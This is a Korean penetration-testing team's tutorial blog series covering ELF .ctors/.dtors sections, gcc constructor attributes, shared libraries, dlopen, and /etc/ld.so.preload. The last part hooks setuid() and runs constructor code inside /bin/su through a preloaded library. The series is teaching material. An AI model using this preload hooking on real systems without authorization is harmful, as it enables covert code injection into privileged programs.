안녕하세요~

저희 TeamCR@K 블로그를 방문해 주시는 여러분들~

2018년 무술년, 새해 복 많이 받으세요!


지난 2017년에 저희 TeamCR@K은 더 없이 바쁜 나날을 보냈던 것 같습니다.

덕분에 블로그에 저희가 어떻게 지내고 있는지 어떤 연구들을 했는지 알려드릴 수 있는 틈이 없었네요~

그래서 2018년 무술년을 맞이하여 기획연재를 하나 준비해 보았습니다.

타이틀은 "Exploit Writing Technique"

전반적으로 모의해킹과 취약점 점검이라는 단어를 혼용하시는 분들이 많은 가운데에 모의해킹과 취약점 점검의 차이를 어떤 방법으로 쉽게 설명을 할까 고민을 많이 했습니다.

그래서 저희 TeamCR@K이 지향하는 모의해킹 범주에 포함되고 있는 Exploit Implementation Technique에 대해 조금 자세하게 글을 써 볼까 합니다.

보안 취약점을 찾아내고 그것에 대한 영향력이나 파급력을 증명하는 것이 모의해킹의 주 목적인데요.

이를 위해 알아야 할 기본 지식들을 나열하고 예제코드를 통해 쉽게 풀어내려고 노력할테니 재미있게 봐 주시면 좋겠습니다. :)


※ 참고로 아래 글에 사용된 모든 예제 소스코드들은 github를 통해 다운로드 받으실 수 있습니다.


$ git clone http://github.com/TeamCRAK/ExploitWritingTechnique.git



정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


Wargame 문제를 많이 풀어보셨거나 해킹기법을 많이 공부해보신분이라면 "Format String Bug (줄여서 FSB)"라는 단어를 많이 들어보셨을겁니다. 문자열 출력 시 Format을 조작해서 권한 상승을 유도하거나 임의의 코드를 실행하는 등의 악용이 가능한 취약점이었습니다. FSB를 가진 프로그램을 공격할 때 많이 사용하던 방법이 .dtors 주소를 기점으로 계산한 별도의 주소에 shellcode 주소를 삽입하여 원하는 코드를 실행하도록 하는 방법이었습니다.


[그림 1] objdump를 통한 .ctors와 .dtors 섹션 정보 출력


위 화면과 같이 objdump를 통해 특정 파일의 .dtors 와 .ctors 섹션 정보를 알아볼 수 있습니다. 만약 /bin/ls에 FSB 취약점이 존재하고 이것을 공격한다면 .dtors 주소에 +4바이트(32bit 주소체계)만큼을 더한 0x0805e00C 주소에 shellcode의 주소를 위치 시키도록 하겠지요. 그러면 왜 FSB 공격 시 .dtors의 +4바이트인 곳에 shellcode의 주소를 위치시켜야 하나? 라는 물음이 생길수도 있습니다.


1. .ctors.dtors는 각각 Constructor와 Destructor의 역할을 하고 있다.


.ctors와 .dtors에 대해 gcc manual은 다음과 같이 정의하고 있습니다.


URL: https://gcc.gnu.org/onlinedocs/gccint/Initialization.html


18.20.5 How Initialization Functions Are Handled


The compiled code for certain languages includes constructors (also called initialization routines)—functions to initialize data in the program when the program is started. These functions need to be called before the program is “started”—that is to say, before main is called.

...

The best way to handle static constructors works only for object file formats which provide arbitrarily-named sections. A section is set aside for a list of constructors, and another for a list of destructors. Traditionally these are called ‘.ctors’ and ‘.dtors’. Each object file that defines an initialization function also puts a word in the constructor section to point to that function. The linker accumulates all these words into one contiguous ‘.ctors’ section. Termination functions are handled similarly.


위 페이지는 main()의 실행 이전 또는 실행 이후에 load되어야 하는 초기화 함수들에 대해 설명하고 있는데 .ctors와 .dtors 가 각각 이와 같은 생성자/소멸자와 같은 개념의 역할을 하고 있으며, 이는 list 형태로 관리된다고 합니다.

보통 C언어보다 C++을 다루는 글에서 생성자와 소멸자라는 이야기가 많이 나옵니다. C++은 C에서 존재하지 않는 Class라는 개념을 도입했는데 다음과 같은 예제코드로 생성자와 소멸자를 확인 할 수 있습니다.


/*

* cpp_example.cpp

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for constructor & destructor

*/

#include <iostream>


using namespace std;


class CTeamCRAK {

public:

        CTeamCRAK()

        {

                cout << "I'm Constructor!" << endl;

        }


        ~CTeamCRAK()

        {

                cout << "I'm Destructor!" << endl;

        }

};


int main(void)

{

        CTeamCRAK TeamCRAK;


        cout << "Executed from main() function!" << endl;


        return 0;

}


위 예제 코드를 컴파일하여 실행해 보면 다음과 같이 ConstructorDestructor의 실행구조를 확인할 수 있습니다.


[그림 2] C++ 예제코드 컴파일 및 실행



2. .ctors와 .dtors Address list 형태로 보관되고 함수포인터화 하여 실행된다.


gcc manual에 나와 있는 내용을 조금 더 자세히 확인하기 위해 다음의 소스코드를 참조할 수 있습니다.


URL: http://sourceware.org/git/?p=glibc.git;a=blob_plain;f=elf/soinit.c


  1 /* Initializer module for building the ELF shared C library.  This file and

  2    sofini.c do the work normally done by crtbeginS.o and crtendS.o, to wrap

  3    the `.ctors' and `.dtors' sections so the lists are terminated, and

  4    calling those lists of functions.  */

  5

  6 #ifndef NO_CTORS_DTORS_SECTIONS

  7 # include <stdlib.h>

  8

  9 static void (*const __CTOR_LIST__[1]) (void)

 10   __attribute__ ((used, section (".ctors")))

 11   = { (void (*) (void)) -1 };

 12 static void (*const __DTOR_LIST__[1]) (void)

 13   __attribute__ ((used, section (".dtors")))

 14   = { (void (*) (void)) -1 };

 15

 16 static inline void

 17 run_hooks (void (*const list[]) (void))

 18 {

 19   while (*++list)

 20     (**list) ();

 21 }

 22

 23 /* This function will be called from _init in init-first.c.  */

 24 void

 25 __libc_global_ctors (void)

 26 {

 27   /* Call constructor functions.  */

 28   run_hooks (__CTOR_LIST__);

 29 }

 30

 31

 32 /* This function becomes the DT_FINI termination function

 33    for the C library.  */

 34 void

 35 __libc_fini (void)

 36 {

 37   /* Call destructor functions.  */

 38   run_hooks (__DTOR_LIST__);

 39 }

 40

 41 void (*_fini_ptr) (void) __attribute__ ((section (".fini_array")))

 42      = &__libc_fini;

 43 #endif


위 코드는 glibc 소스코드의 일부이고 .dtors가 어떻게 정의되고 활용되는지 참조할 수 있는 소스코드입니다.

먼저 12번 라인쪽을 보면 __DTOR_LIST__를 정의하는 부분입니다..dtors 섹션은 함수포인터로 정의되고 그 초기값을 -1 (32bit 주소체계 기준 0xFFFFFFFF)이라고 정의되어 있습니다. 17번째 라인은 run_hooks() 함수를 정의하고 있으며, 인자로 받은 데이터를 함수포인터화 하여 실행합니다. 34번 라인의 __libc_fini() 함수가 구현되는 부분에서 비로소 .dtors 섹션의 데이터가 run_hooks()를 통해 함수포인터화 되어 실행되고 있음을 알 수 있습니다.

또한 .ctors.dtors 모두 같은 방식으로 동작하는 것을 알 수 있습니다.

FSB 취약점을 .dtors 섹션의 조작을 통해 공격한다면 __DTOR_LIST__는 다음과 같은 구조가 되겠네요.


__DTOR_LIST__[0] : 0xFFFFFFFF

__DTOR_LIST__[1] : ${SHELLCODE_ADDRESS}

...


[그림 3] 실제 존재하는 파일의 .ctors와 .dtors 섹션 데이터 구조 확인


정리해보면 .ctors는 Constructor, .dtors는 Destructor의 개념을 갖고 있으며, 이들은 특정 Address들의 list 형태로 보관되면서 사용 시 해당 Address list를 함수포인터화 하여 실행된다. 정도 일 것입니다.

그러면 실제 프로그램 구현 시 이러한 Constructor/Destructor를 어떻게 구현할 수 있는가?

gcc manual에 따르면 다음과 같습니다.


URL: https://gcc.gnu.org/onlinedocs/gcc-7.2.0/gcc/Function-Attributes.html#Function-Attributes


6.31 Declaring Attributes of Functions

...

Function attributes are introduced by the __attribute__ keyword on a declaration, followed by an attribute specification inside double parentheses. You can specify multiple attributes in a declaration by separating them by commas within the double parentheses or by immediately following an attribute declaration with another attribute declaration. See Attribute Syntax, for the exact rules on attribute syntax and placement.

...


URL: https://gcc.gnu.org/onlinedocs/gcc-7.2.0/gcc/Attribute-Syntax.html#Attribute-Syntax


6.37 Attribute Syntax


This section describes the syntax with which __attribute__ may be used, and the constructs to which attribute specifiers bind, for the C language. Some details may vary for C++ and Objective-C. Because of infelicities in the grammar for attributes, some forms described here may not be successfully parsed in all cases.

...

An attribute specifier is of the form __attribute__ ((attribute-list)).

...


URL: https://gcc.gnu.org/onlinedocs/gcc-7.2.0/gcc/Common-Function-Attributes.html#Common-Function-Attributes


6.31.1 Common Function Attributes

...

constructor

destructor

constructor (priority)

destructor (priority)

The constructor attribute causes the function to be called automatically before execution enters main (). Similarly, the destructor attribute causes the function to be called automatically after main () completes or exit () is called. Functions with these attributes are useful for initializing data that is used implicitly during the execution of the program.

...


gcc manual 6.31장에서는 함수의 속성 선언이 __attribute__ 키워드에 의해 이루어진다는 것을 설명하고 있고, 6.37.1절에서는 __attribute__ 키워드를 사용하기 위한 문법, 6.31.1절에서는 __attribute__ 키워드와 함께 ConstructorDestructor를 명시하면 main() 실행 이전과 실행 이후에 실행되는 함수를 구현 할 수 있다고 설명합니다.

gcc manual에 따른 내용을 기준으로 코드를 작성하여 테스트 해 보았습니다.


/*

* gcc_syntax_ctors_dtors.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example c code for constructor & destructor by gcc

*/

#include <stdio.h>


__attribute__((constructor))

void ctors(void)

{

        fprintf(stdout, "I'm Constructor!\n");

        return;

}


__attribute__((destructor))

void dtors(void)

{

        fprintf(stdout, "I'm Destructor!\n");

        return;

}


int main(void)

{

        fprintf(stdout, "Executed from main() function!\n");

        return 0;

}


아래 화면은 위 소스코드의 컴파일 및 실행결과를 보여주는 화면입니다.


[그림 4] gcc의 syntax로 구현된 예제코드 컴파일 및 실행


___attribute__((attribute-name)) 와 같은 gcc에서 지원하는 문법으로 프로그램의 ConstructorDestructor의 구현이 잘 되는지 테스트 해 보았습니다. 이렇게 만들어진 프로그램이 실제 gcc manual에 있는 그대로 구현되는지 확인 해 보겠습니다.

gdb를 이용하여 __CTORS_LIST__와 해당 list에 저장된 주소가 실제 constructor 속성으로 지정된 함수가 맞는지 확인합니다.

[그림 5] gdb를 사용한 Constructor 구현 상태 확인


gdb를 이용하여 __DTORS_LIST__와 해당 list에 저장된 주소가 실제 destructor 속성으로 지정된 함수가 맞는지 확인합니다.

[그림 6] gdb를 사용한 Destructor 구현 상태 확인


소스코드에서는 fprintf()를 사용하도록 했는데, 내부적으로는 fwrite()가 사용되는 것도 확인할 수 있습니다.

지금까지 main() 실행 이전이나 종료 이후 특정 함수를 실행할 수 있는 방법을 알아보았습니다. 프로그래머는 본 방법으로 실제 main() 실행 이전에 선 처리 되어야 하는 루틴을 작성하거나 main() 종료 이후 OS 레벨이 아닌 Application 레벨에서의 리소스 반환 작업 등을 별도로 구현할 수 있을 듯 합니다. 그런데 이 기능이 Exploit과 무슨 관계가 있는지는 아직 잘 모르겠네요. 아직 알아야 할 것이 더 많은 걸까요?

이제 첫 단계의 시작입니다. ;)
조바심 내지 마시고 다음 단계인 "Exploit Writing Technique #2: Basics of Shared Library"도 천천히 읽어주시면서 기다려 주시면 감사하겠습니다 :)


정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


보통 개발자들이 프로그램을 만들때 유지보수의 편의성이나 다양한 이유들을 근거로 모듈화 작업을 합니다. 소스코드 트리 구조부터 비슷한 작업을 하는 코드들을 파일 단위로 모듈화 하기도 하고 배포를 위한 응용프로그램도 사실 모듈화를 한 결과물입니다. Windows OS를 쓰고 계신 분이라면, 프로그램 폴더 안에 실행파일인 *.exe 파일외에 *.dll 파일과 같은 다른 확장자의 파일을 보실 수 있을겁니다. *.dll 파일들은 Dynamic-link library라고 하여 내부에 구현된 함수들을 응용프로그램에서 필요 시 동적으로 불러 실행하도록 되어 있는데요. 이러한 동적 링크 라이브러리는 다른 플랫폼 환경에서도 볼 수 있습니다. 개념은 같지만 일컫는 용어가 다를뿐이지요.


이 글에서는 Linux 상에서 동작하는 동적 링크 라이브러리에 대해 설명 드려볼까 합니다.

우선 Linux에서는 동적 링크 라이브러리 개념을 가진 파일을 Shared Objects 혹은 Shared Libraries(공유 라이브러리)라는 명칭으로 부르고 있습니다. 


우선 다음의 예제 소스코드를 참조하시면 좋을 것 같습니다.


/*

* libso_exam.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example c code for shared library

*/

#include <stdio.h>

#include <unistd.h>

#include <string.h>


int teamcrak(const char *msg)

{

        fprintf(stdout, "%s", msg);

        return 0;

}


보통 프로그램 실행 시 기준이 되는 main() 함수는 존재하지 않고 teamcrak() 이라는 함수만을 정의했는데, 해당 함수는 인자로 받은 데이터를 fprintf()로 출력하는 함수입니다. 위 소스코드 파일은 컴파일 과정을 거쳐 공유 라이브러리의 역할을 할 것입니다.


* 공유 라이브러리 컴파일 명령행

$ gcc \

    -Wall \                                  # 모든 경고 출력 옵션

    -shared \                              # 공유 라이브러리로 컴파일 하겠다는 옵션

    -Wl,-soname,libso_exam.so \ # 링크 옵션으로 soname(Shared Object NAME)을 지정하는 옵션

    -o libso_exam.so \                 # output 옵션. 컴파일 결과 파일: libso_exam.so

    libso_exam.so.c                     # 컴파일 할 소스코드



다음 예제 소스코드는 공유 라이브러리에 존재하는 함수를 실행 내용의 소스코드입니다.


/*

* so_loader.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example c code for shared library loader

*/

#include <stdio.h>

#include <stdlib.h>


int main(void)

{

        teamcrak("Call by shared library\n");

        return 0;

}


위 so_loader.c 소스코드에는 teamcrak()이라는 함수의 정의나 구현부분이 존재하지 않지만, 컴파일 및 링크시에 사용되는 옵션으로 teamcrak() 함수가 정의된 라이브러리를 참조하여 실행 할 수 있습니다.


* 공유 라이브러리를 참조하는 코드 컴파일 명령행

$ gcc \

    -Wall \                # 모든 경고 출력 옵션

    -o so_loader \     # output 옵션. 컴파일 결과 파일: so_loader

    so_loader.c \       # 컴파일 할 소스코드

    -L. \                    # 라이브러리 링크 경로 지정 옵션. 라이브러리 경로: . (현재 디렉터리)

    -lso_exam           # 링크 할 라이브러리 지정 옵션. 라이브러리 이름: libso_exam.so


gcc의 -l 옵션을 사용하여 특정 라이브러리를 링크하도록 지정할 때 파일 이름에 존재하는 lib(접두사).so(접미사)는 제외해야 합니다.

아래는 예제코드들을 실제 컴파일 과정을 거쳐 실행 해 본 화면입니다.


[그림 1] LD_LIBRARY_PATH 환경변수로 라이브러리 경로 지정 후 정상 실행 확인


컴파일 과정에서 teamcrak() 함수의 원형이 so_loader.c 파일에 정의되지 않아 warning이 발생된 것 빼고는 큰 장애없이 컴파일이 완료되었습니다. 그러나 실행 시 에러가 발생했네요. 해당 에러는 공유 라이브러리의 경로를 지정해 주지 않아 발생한 에러였습니다. 라이브러리 관련 환경변수인 LD_LIBRARY_PATH에 . (현재 디렉터리)를 명시한 이후에 정상 실행이 된 것을 확인 할 수 있습니다.

프로그램 실행 시 이러한 공유라이브러리의 의존성을 확인할 수 있도록 ldd라는 명령어를 활용할 수 있습니다.


[그림 2] ldd 명령어로 대상 프로그램의 의존성이 존재하는 라이브러리 확인


기본적으로 공유라이브러리는 위와 같이 특정 경로에 위치되도록 하여 실행 프로그램에서 해당 라이브러리의 기능을 사용할 수 있도록 되어 있습니다. 그러나 컴파일, 링크 시에 공유라이브러리를 참조하도록 하는 방법 외에 다른 방법은 없을까요? 코드 레벨에서 이와 같은 과정에 관여 할 수는 없을까요? 이를 위해 우리는 DL 라이브러리를 사용할 수 있습니다. 다음 소스코드는 DL 라이브러리에서 제공하는 dlopen()dlsym(), dlclose()를 통해 외부 라이브러리에 존재하는 함수를 참조하여 실행할 수 있도록 구현된 소스코드입니다.


/*

* so_loader_by_dlopen.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example c code for dlopen()

*/

#include <stdio.h>

#include <unistd.h>

#include <dlfcn.h>


int main(int argc, char **argv)

{

        int ret;

        void *dl = NULL;

        // XXX: Function prototype of teamcrak() in a shared object

        int (*func)(const char *msg) = NULL;


        if(argc != 4) {

                fprintf(stdout, "Usage: %s <SO-PATH> <FUNCTION-NAME> <MESSAGE>\n", argv[0]);

                return 0;

        }

        // XXX: Load a library

        if((dl = dlopen(argv[1], RTLD_LAZY)) == NULL) {

                fprintf(stderr,

                        "[%s] Can not load library: %s\n", __FILE__, argv[1]);

                goto failed;

        }


        // XXX: Map the function by loaded library

        if((func = (int (*)(const char *))dlsym(dl, argv[2])) == NULL) {

                fprintf(stderr,

                        "[%s] No such %s() function from the library.\n",

                        __FILE__, argv[2]);

                goto failed;

        }

        // XXX: Function-call using function pointer

        ret = func(argv[3]);


failed:

        if(dl != NULL)

                dlclose(dl); // XXX: Resource free

        return 0;

}



위 소스코드는 먼저 특정 라이브러리에서 참조하고자 하는 함수의 원형을 정의하는데 이를 함수포인터 형태로 정의하도록 합니다. 그 후 특정 경로에 있는 공유 라이브러리를 open(dlopen)하고 라이브러리 안에 정의된 함수를 찾아 맵핑(dlsym)합니다. 함수 맵핑 후 반환받은 주소는 해당 함수가 존재하는 주소이므로 함수포인터 형태로 이를 실행 할 수 있습니다. 위 소스코드를 컴파일 하고 실행해보았습니다. 


[그림 3] dlopen과 dlsym으로 특정 공유라이브러리에 구현된 함수 실행


컴파일 시 dlopen()을 사용할 수 있도록 DL 라이브러리를 참조하도록 하고, 프로그램 실행 시 라이브러리 경로와 라이브러리에 구현된 함수 이름, 함수 실행 시 전달할 인자 정보를 포함하도록 했습니다.

프로그램은 정상적으로 실행되었고, ldd로 컴파일 된 파일을 분석 한 결과 DL 라이브러리가 기본 참조되도록 만들어져 있는 것을 알 수 있습니다.

dlopen()이나 dlsym()과 같은 함수 사용법은 Windows OS의 API를 다뤄보셨던분들에게 LoadLibrary() 나 GetProcAddress() API의 인터페이스와 비슷하여 친숙함을 느끼실 수도 있을 것 같습니다. 실제 Windows OS에서도 특정 DLL파일을 열고 내부에 구현되어 있는 API를 실행 할 때에 위와 같은 인터페이스의 API를 사용합니다. 플랫폼 자체가 다르기에 내부 구현 자체는 다르게 되어 있을지라도 인터페이스가 비슷하다는 것을 비교해 볼 수 있도록 아래의 소스코드를 참조 하실 수 있습니다.


/*

* loader.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - Compile & Execute

*  <+> Linux  : gcc -Wall -o loader loader.c -ldl && LD_LIBRARY_PATH=. ./loader

*  <+> Windows: cl loader.c /D"WIN32" && loader.exe

*/

#include <stdio.h>

#ifdef WIN32

#  include <windows.h>

#  define EXT   "dll"

# else

#  define EXT   "so"

#  include <unistd.h>

#  include <dlfcn.h>

#  define LoadLibrary(soname) dlopen(soname, RTLD_LAZY)

#  define GetProcAddress dlsym

#  define FreeLibrary dlclose

#endif


#define SONAME  "teamcrak." EXT

#define FUNCNAME "library_call"


int main(void)

{

        int ret;

        void *dl = NULL;

        int (*func)(void) = NULL;


        if((dl = LoadLibrary(SONAME)) == NULL) {

                fprintf(stderr,

                        "[%s] Can not load library: %s\n", __FILE__, SONAME);

                goto failed;

        }

        fprintf(stdout, "[%s] Loaded a library successfully: %s\n",

                __FILE__, SONAME);


        if((func = (int (*)(void))GetProcAddress(dl, FUNCNAME)) == NULL) {

                fprintf(stderr,

                        "[%s] Not found %s() function from the library.\n",

                        __FILE__, FUNCNAME);


                goto failed;

        }

        fprintf(stdout,

                "[%s] Loaded %s() function from '%s'\n"

                "[%s] %s() address: %p\n" ,

                __FILE__, FUNCNAME, SONAME, __FILE__, FUNCNAME, func);


        fprintf(stdout, "[%s] - FUNCTION CALL START\n", __FILE__);

        ret = func();

        fprintf(stdout, "[%s] - FUNCTION CALL END\n", __FILE__);


        fprintf(stdout, "[%s] Return value: %d\n", __FILE__, ret);

failed:

        if(dl != NULL)

                FreeLibrary(dl);

        return 0;

}



/*

* teamcrak.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - Compile

*  <+> Linux  : gcc -Wall -shared -Wl,-soname,teamcrak.so -fPIC -o teamcrak.so teamcrak.so.c

*  <+> Windows: cl teamcrak.so.c /D"WIN32" /TC /link /dll /out:teamcrak.dll

*/

#include <stdio.h>

#include <string.h>

#ifdef WIN32

#  include <io.h>

#  define write _write

#  define TeamCRAK __declspec(dllexport)

#  define COMMENT "Dynamic Link Library"

# else

#  include <unistd.h>

#  define TeamCRAK

#  define COMMENT "Shared Object"

#endif


TeamCRAK int library_call(void)

{

        char *msg = "[*] Welcome to " COMMENT "'s world!\n";

        write(1, msg, strlen(msg));

        return 1337;

}



위 소스코드는 같은 인터페이스를 가진 DL 라이브러리의 함수들과 Windows API를 전처리하여 Windows/Linux 양쪽 플랫폼에서 컴파일과 실행을 할 수 있도록 구현된 소스코드입니다. loader.c는 teamcrak.so / teamcrak.dll 파일을 로드하고 해당 라이브러리에 존재하는 library_call이라는 함수를 실행하도록 합니다. teamcrak.so.c는 컴파일 되어 *.so 형태나 *.dll 파일로 만들어지고 내부에 구현되어 있는 library_call() 함수를 실행하면 플랫폼 환경에 맞도록 특정 문자열을 출력하도록 되어 있습니다.


아래는 위 소스코드를 각각 Linux와 Windows 플랫폼에서 컴파일 하고 실행해 본 화면입니다.


[그림 4] Linux 플랫폼에서 실행한 Shared Library 로더


[그림 5] Windows 플랫폼에서 실행한 DLL 로더


위 테스트 화면을 보면 Linux 플랫폼에서는 "Shared Object"로, Windows 플랫폼에서는 "Dynamic Link Library"로 인식되어 문자열이 출력됩니다. 실제 라이브러리 내부에 구현되어 있는 library_call() 함수에서 반환하는 고정적인 "1337" 정수 값도 온전히 양쪽 플랫폼에서 반환 값으로 인식되는 것을 볼 수 있습니다.


사실 위와 같은 라이브러리의 실행 형태는 악성코드 분석을 포함해 컴파일 된 응용프로그램의 분석 시 매우 유용하게 사용됩니다. 특정 라이브러리 파일에 데이터 인코딩이나 디코딩 로직이 존재할 때 해당 로직만 따로 떼어서 테스트 해 볼 수도 있고 더 많은 분석 과정에서 사용되기도 합니다. 물론 함수 원형에 대한 정보가 정확하지 않아 여러 애로사항이 있는 분석 기법이지만 TeamCR@K에서 수행한 모의해킹 프로젝트 중 이러한 분석 과정을 통한 여러 실 예가 있고, 추후 해당 내용에 대해 정리하여 새 글로 공유하는 기회를 갖도록 하겠습니다.


정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


여러분은 "선적재 라이브러리"라는 말을 들어보신적 있으신가요? 선적재(Pre-loaded)된 라이브러리는 다른 로드 된 공유라이브러리보다 우선순위를 가지고 있다는 특징이 있습니다. 그로 인해 특정 함수에 대한 Hooking에 사용되기도 하고 개발자의 디버깅에도 유용하게 사용되고 있습니다. 우선 다음의 페이지에서 선적재 라이브러리에 대해 간략한 설명을 보실 수 있습니다.


Secure Programming for Linux and Unix HOWTO - 3.7. 동적 링크 라이브러리

https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/dlls.html


페이지 글 중간에 전반적으로 Linux 시스템에서 동작하는 라이브러리의 구조와 함께 ld.so.preload 파일의 특징과 활용법, 그리고 같은 맥락으로 동작하는 LD_PRELOAD 환경변수에 대해 설명하고 있습니다.

(2018년 2월 1일 기준 위 페이지에서 설명하는 LD_RELOAD라는 환경변수는 LD_PRELOAD의 오타로 확인되고 있습니다.)

선 적재 라이브러리가 활용되는 흔적은 strace(system call tracer)에서도 확인할 수 있습니다.


[그림 1] strace로 확인한 선 적재 라이브러리 활용의 흔적


/bin/ls 프로그램 실행 시작 직후 시스템 내부에서는 /etc/ld.so.preload 파일의 존재 여부를 확인하고 있습니다. /etc/ld.so.preload라는 파일은 어떠한 파일일까요? ld.so의 man 페이지에서는 다음과 같이 설명하고 있습니다.


LD.SO(8)                   Linux Programmer’s Manual                  LD.SO(8)


NAME

       ld.so, ld-linux.so* - dynamic linker/loader


DESCRIPTION

       The  programs ld.so and ld-linux.so* find and load the shared libraries

       needed by a program, prepare the program to run, and then run it.

>> snip <<

ENVIRONMENT

       There are four important environment variables.

>> snip <<
       LD_PRELOAD
              A whitespace-separated list of additional,  user-specified,  ELF
              shared  libraries  to  be loaded before all others.  This can be
              used  to  selectively  override  functions   in   other   shared
              libraries.   For  set-user-ID/set-group-ID  ELF  binaries,  only
              libraries in the standard search directories that are also  set-
              user-ID will be loaded.
>>snip <<
FILES
>> snip <<
       /etc/ld.so.preload
              File  containing  a  whitespace  separated  list  of  ELF shared
              libraries to be loaded before the program.
       lib*.so*
              shared libraries
...


Secure Programming for Linux and Unix HOWTO에서도 설명하는 것 처럼 ld.soman 페이지에 따르면 선적재 라이브러리를 활용할 수 있는 방법에 대해 2가지로 설명되고 있습니다. 첫번째는 환경변수인 LD_PRELOAD 값의 설정을 통해 특정 라이브러리를 선적재 할 수 있고, 두번째로는 /etc/ld.so.preload 파일을 이용해 선적재 라이브러리를 지정할 수 있다고 합니다.


LD_PRELOAD 환경변수를 이용한 선적재 라이브러리 활용은 2014년에 저희 TeamCR@K 블로그에 올린 zygote 프로세스에 LD_PRELOAD 환경변수 삽입하기 편에도 일부 언급되어 있어 본 글에서는 ld.so.preload를 중점으로 설명하고자 합니다. Linux에서 파일실행에 의해 프로세스 화 된 시점의 기본적인 플랫폼 환경은 GLIBC가 근간이 되고 있습니다. GLIBC는 실행된 프로그램과 Kernel 중간에 위치하면서 프로그램 실행에 여러가지 관여를 합니다. GLIBC 소스코드를 다운로드 받아 분석해보면 ld.so.preload 의 동작 구성도 엿 볼 수 있습니다.


아래의 소스코드는 GLIBC 소스코드 트리에서 elf/rtld.c 파일의 일부 내용입니다.


[그림 2] GLIBC 2.9 버전에서 ld.so.preload 를 이용하여 선적재 라이브러리를 구성하는 로직


GLIBC 소스코드 트리 중 elf/rtld.c 소스코드를 참조하면 do_preload() 에 의해 라이브러리의 선적재하는 과정을 알 수 있습니다. 위에 언급되어 있는 것 처럼 선적재 라이브러리는 다른 라이브러리에 우선한다고 했습니다. 그 말은 같은 함수가 로드되는 다른 라이브러리에 구현이 되어 있더라도 선적재 라이브러리에 구현된 함수가 우선순위를 가지고 있는 것을 말하며, 해당 특성을 이용하여 Wrapping Function의 구현과 같은 방법으로 특정 함수를 Hooking할 수 있습니다.


음의 코드는 setuid() 함수를 Hooking하는 코드입니다.


/*

* libsetuid.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for wrapped function of setuid()

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <dlfcn.h>


static int (*orig_setuid)(uid_t uid);


int setuid(uid_t uid)

{

        int ret = 0;

        void *dl = NULL;

        char exe[1024] = {0,};


        readlink("/proc/self/exe", exe, sizeof(exe));

        fprintf(stdout, "[DEBUG] Hooked setuid(%d) by '%s'\n", uid, exe);

        if((dl = dlopen("/lib/libc.so.6", RTLD_LAZY)) != NULL) {

                if((orig_setuid = dlsym(dl, "setuid")) != NULL) {

                        ret = orig_setuid(uid);

                }

                dlclose(dl);

        }

        return ret;

}



GLIBC 내에 구현된 setuid() 함수를 라이브러리 직접 참조를 통해 불러오고 실행하기 위해 DL 라이브러리를 사용합니다. 또한 이를 위해 setuid() 함수의 원형을 함수포인터 형태로 정의합니다. setuid()가 실행되면 readlink()를 통해 현재 해당 함수를 실행하도록 한 프로그램의 경로를 받아오고 이를 디버그 메시지를 통해 사용자에게 전달합니다. 이 후 dlopen()dlsym()을 통해 GLIBC에 구현된 setuid() 함수를 실행할 수 있도록 구현되어 있습니다.


위 소스코드를 컴파일 후 /bin/su를 타겟 대상으로 삼고 테스트를 진행하였습니다. 패스워드 인증을 통해 사용자 권한을 변경할 수 있도록 한 /bin/su는 setuid()를 사용할 것이며, 프로그램 실행 초기에 /etc/ld.so.preload가 존재한다면 파일 안에 정의된 경로의 라이브러리를 선적재 할 것입니다. 내부적으로 setuid() 수행 시 선적재 된 라이브러리의 영향을 받는다면 디버그 메시지를 통해 wrapped function이 실행되는 것을 확인 할 수 있을 것 입니다.


[그림 3] ld.so.preload를 이용하여 setuid() 함수 hooking 가능 확인


위 화면에서 우리는 중요한 포인트 하나를 알 수 있습니다.


/etc/ld.so.preload는 상위 권한의 setuid bit가 설정된 프로그램에도 정상 동작을 보장하나, 같은 목적을 가진 LD_PRELOAD 환경변수를 통한 라이브러리 선적재의 경우 상위 권한의 setuid bit가 설정된 프로그램과 같이 실행되면 정상 실행이 되지 않습니다. 이는 사용자 누구나가 변경이 가능한 환경변수의 경우 기본적으로 신뢰할 수 없는 값으로 판단하여 처리하도록 설계 한 보안의 가장 기본적인 1원칙이 그 이유가 아닐까요?


[그림 4] setuid bit가 설정된 파일 실행 시 무시되는 LD_PRELOAD 환경변수


지금까지 Shared Library 특성에 대해서 알아보았는데요. 이에 더불어 기존에 알아보았던 Constructor의 개념도 선적재 라이브러리와 함께 활용될수는 없을까요? 이를 알아보기 위해 한 가지 더 테스트를 해 보기로 했습니다.


/*

* libmypriv.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for constructor of shared library

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <dlfcn.h>


int __attribute__((constructor)) init(void)

{

        fprintf(stdout, "[DEBUG] UID: %d / GID: %d / EUID: %d / EGID: %d\n",

                getuid(), getgid(), geteuid(), getegid());

        return 0;

}


Constructor 역할을 하기 위한 함수를 구현했는데, 이는 사용자의 User-ID/Group-IDEffective-User-ID/Effective-Group-ID를 출력하고 리턴하는 함수입니다. 일반적으로 프로그램 실행 시 권한 관리를 위해 User-ID 권한과 Effective-User-ID 권한을 따로 분리하는데, 해당 개념을 이해하고 있으면 향후 setuid bit가 설정된 프로그램 분석에 많은 도움을 줍니다.


위 코드를 공유 라이브러리 형태로 컴파일 하고 선적재 하도록 한 후 setuid bit가 설정된 프로그램을 실행하면 어떻게 될까요?

 

[그림 5] setuid bit가 설정된 파일 실행 시에도 유효한 Pre-loaded Library 및 Constructor 속성


/bin/su 실행 시 libmypriv.so 가 선적재되고, Constructor 속성으로 인해 패스워드를 입력 받기 전 init() 함수가 호출되어 해당 함수가 실행되는 것을 볼 수 있습니다. 


[그림 6] System Call Tracer로 확인한 Pre-loaded Library와 Library의 Constructor 속성의 정상 동작


